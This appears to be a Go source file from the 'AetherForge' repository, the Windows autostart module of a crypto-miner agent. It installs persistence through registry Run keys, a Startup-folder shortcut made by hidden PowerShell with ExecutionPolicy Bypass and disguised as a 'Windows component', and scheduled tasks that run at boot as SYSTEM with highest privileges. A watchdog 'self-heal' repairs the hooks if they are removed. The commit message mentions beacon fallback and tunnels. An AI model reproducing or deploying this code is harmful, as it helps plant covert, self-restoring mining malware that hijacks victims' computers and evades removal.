Files
AetherForge/agent/deploy/autostart_windows.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

127 lines
4.0 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart).
// Triggers: first install (InstallIfNeeded) after binary copy.
func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error {
return ensureAutostartHooks(cfg, binPath, false)
}
// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks.
func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error {
for _, mode := range effectiveAutostartModes(cfg) {
if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil {
return err
}
}
return nil
}
func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error {
switch mode {
case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun:
if healOnly && registryRunValueExists(cfg, mode, binPath) {
return nil
}
return writeRegistryRunValue(cfg, mode, binPath)
case AutostartLogonStartupFolder:
if healOnly && startupShortcutExists(cfg) {
return nil
}
return createLogonStartupShortcut(cfg, binPath)
case AutostartBootTask:
name := autostartBootTaskName(cfg)
if healOnly && scheduledTaskExists(name) {
return nil
}
return createBootScheduledTask(cfg, binPath, name)
case AutostartLogonTask:
name := autostartLogonTaskName(cfg)
if healOnly && scheduledTaskExists(name) {
return nil
}
return createLogonScheduledTask(cfg, binPath, name)
default:
return nil
}
}
func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error {
startupDir, err := userStartupFolder()
if err != nil {
return err
}
if err := os.MkdirAll(startupDir, 0755); err != nil {
return fmt.Errorf("startup folder: %w", err)
}
lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg))
ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.Arguments = '%s'
$lnk.WindowStyle = 7
$lnk.Description = 'Windows component'
$lnk.Save()
`,
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(binPath, `'`, `''`),
strings.ReplaceAll(runFlag, `'`, `''`),
)
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
func userStartupFolder() (string, error) {
appData := os.Getenv("APPDATA")
if appData == "" {
return "", fmt.Errorf("APPDATA not set")
}
return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil
}
func startupShortcutExists(cfg config.RuntimeConfig) bool {
dir, err := userStartupFolder()
if err != nil {
return false
}
_, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg)))
return err == nil
}
func scheduledTaskTrigger(binPath string) string {
return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
}
// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run).
func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
tr := scheduledTaskTrigger(binPath)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F")
}
// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name.
func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
tr := scheduledTaskTrigger(binPath)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}
func removeAutostartExtras(cfg config.RuntimeConfig) {
removeRegistryPersistence(cfg)
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F")
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F")
if dir, err := userStartupFolder(); err == nil {
_ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg)))
}
}